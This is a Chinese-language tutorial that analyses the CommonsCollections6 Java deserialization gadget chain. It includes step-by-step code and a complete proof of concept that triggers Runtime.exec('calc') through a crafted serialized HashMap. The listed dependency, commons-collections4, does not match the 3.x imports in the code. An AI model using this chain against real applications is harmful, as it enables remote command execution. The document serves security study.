依赖
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
上⼀篇详细分析了CommonsCollections1这个利⽤链,但是在Java 8u71以后,这个利⽤链不能再利⽤了,主要原因是 sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了,新建了⼀个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,⽽原来我们精⼼构造的Map不再执⾏set或put操作。
引入
URLDNS
的污点选取的是DNS查询功能,无法执行命令,只能用于漏洞探测。CC6则选取了能够反射执行Runtime相关方法的类——利用Commons-Collections
组件中的InvokerTransformer + ChainedTransformer + ConstantTransformer
Commons-Collections组件
Commons-Collections
是用于增强Java
集合(Collections)
的,也就是说它对Java常用的Collections
—Map、List、Set
等进行了相应的开发。例如对于Map,它扩展出了LazyMap
、MultiValueMap
、TransformedMap
等。Map中每一个键值对相关类用xxEntry
来表示。
CC6就用到了LazyMap
,Lazy意味着“懒加载”,即在初始化时为空,进行put操作的时候才真正初始化(按需创建)。当LazyMap.get(Object key)
方法获取对象时,如果映射中不存在key,将使用工厂创建对象。这个工厂就是Transformer
接口类型的。
Transformer
Transformer
接口,顾名思义是将一个对象转换为另一个对象的转换器,在3.1版本CommonsCollections
组件中搜索其实现类包含13个:ChainedTransformer
(将各个转换器连在一起)、InvokerTransformer
(用反射创建新的对象)、ConstantTransformer(
返回常量)、InstantiateTransformer
(反射创建新的对象)等。
反射本身就是Java RCE的一个常用污点。跟进看一下用反射创建对象的InvokerTransformer,代码如下
# InvokerTransformer
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} ...
}
如果input(类)、iMethodName(方法)、iParamTypes(参数类型)、iArgs(参数)都可控,就可以通过反射完成任意类中方法的调用。后三个都可以通过InvokerTransformer自身构造函数传入。但是要对input赋值,需要找到调用InvokerTransformer.transform()的地方。手动调用的transform()方法代码如下:
InvokerTransformer invokerTransformer1=new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open -a Calculator"});
invokerTransformer1.transform(Runtime.getRuntime());
但是在反序列化构造中需要能自动调用,这也是这条链最巧妙的地方—ChainedTransformer,其transform()方法可以调用所有实现了Transformer接口类的transform()。也就是它注释中提到的将各个转换器连在一起。
# ChainedTransformer
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
POC:
Transformer[] invokerTransformer= new InvokerTransformer[]{
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(invokerTransformer);
chainedTransformer.transform(Runtime.getRuntime());
本来是为了解决InvokerTransformer.transform()无法自动调用,现在就变成了需要解决chainedTransformer.transform()无法自动调用的问题,即寻找CommonsCollections中有没有其他方法可以调用chainedTransformer.transform()?
LazyMap
LazyMap是“懒加载”,其get方法获取对象时,如果不存在key,就使用工厂类创建对象,代码如下:
# LazyMap
protected transient Map map;
protected final Transformer factory;
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
那么如果此时的factory是ChainedTransformer类型的,就会自动调用其transformer方法,从而解决上个问题。如何给factory赋值呢?LazyMap的构造方法可以,但是LazyMap不能直接new,而是通过自身的decorate()方法来创建。
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}
结合URLDNS链条最后走到的是HashMap.hashCode(),现在这条链从污点往上推到了LazyMap.get()。问题是,如果把二者连接起来。二者的共性在于都是属于Map接口实现类,结合Map这种数据结构。思路就变成了从Map接口实现类中找一个其hashCode方法存在get调用的类。
最后这条链给出的答案是TiedMapEntry,其hashCode方法如下:
#TiedMapEntry
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
那么整条CC6调用链就连了起来
LazyMap后半链
- 分析LazyMap 类的构造函数, 需要当作参数将一个map和一个key传进去
- 而getValue()中,调用了get方法,这里只要利用map中的key的值
public Object getValue() {
return map.get(key);
}
-
new 一个hashmap,跟进
HashMap
中查看HashMap
中重写的readObject()
方法,我们最后要调用的是Hash方法,而Hash方法中也只是对key值做操作
-
所以这里在构造出来的这个hashmap,将实例化出来的对象当作key的值put进map中,
//cc1
HashMap<Object, Object> map = new HashMap<Object, Object>();
Map<Object, Object> transformedMap = LazyMap.decorate(map,chainedTransformer);
//cc6
TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "ay");
HashMap<Object, Object> map2 = new HashMap<Object, Object>();
map2.put(tiedMapEntry,"123");
- 当
HashMap
调用readObject
方法的时候,就会调用hash方法
- hash方法中会调用
hashCode
方法
- 然后就会走到
TiedMapEntry
的hashCode方法
#TiedMapEntry
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
- 这是我们理想的状态,但是我们在之前的URLDNS那条链中在
map2.put(tiedMapEntry,"123");
的时候就会发起DNS请求,而不是在反序列化的时候发起请求,所以我们需要通过反射改值,这里我们改chainedTransformer
的值为new ConstantTransformer(1)
,随便写一个Transform就行,然后在put
完之后,将lazymap
中的属性factory
的值改回chainedTransformer
,代码如下
Map<Object, Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
完整poc
package ysoserial.ay;
import javafx.beans.binding.ObjectExpression;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @ClassName TestCC6
* @Author aY
* @Date 2023/3/7 16:56
* @Description
*/
public class TestCC6 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
//Runtime.getRuntime.exec("calc")
Transformer[] transformers = new Transformer[]{
//避免被readObject修改
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
//lazyMap get()->
HashMap<Object, Object> map = new HashMap<Object, Object>();
Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "ay");
HashMap<Object, Object> map2 = new HashMap<Object, Object>();
map2.put(tiedMapEntry, "123");
lazymap.remove("ay");
Class c = LazyMap.class;
Field factoryfield = c.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazymap, chainedTransformer);
// serialize(map2);
unserialize("ser.bin");
}
//封装serialize
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
//封装unserialize
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}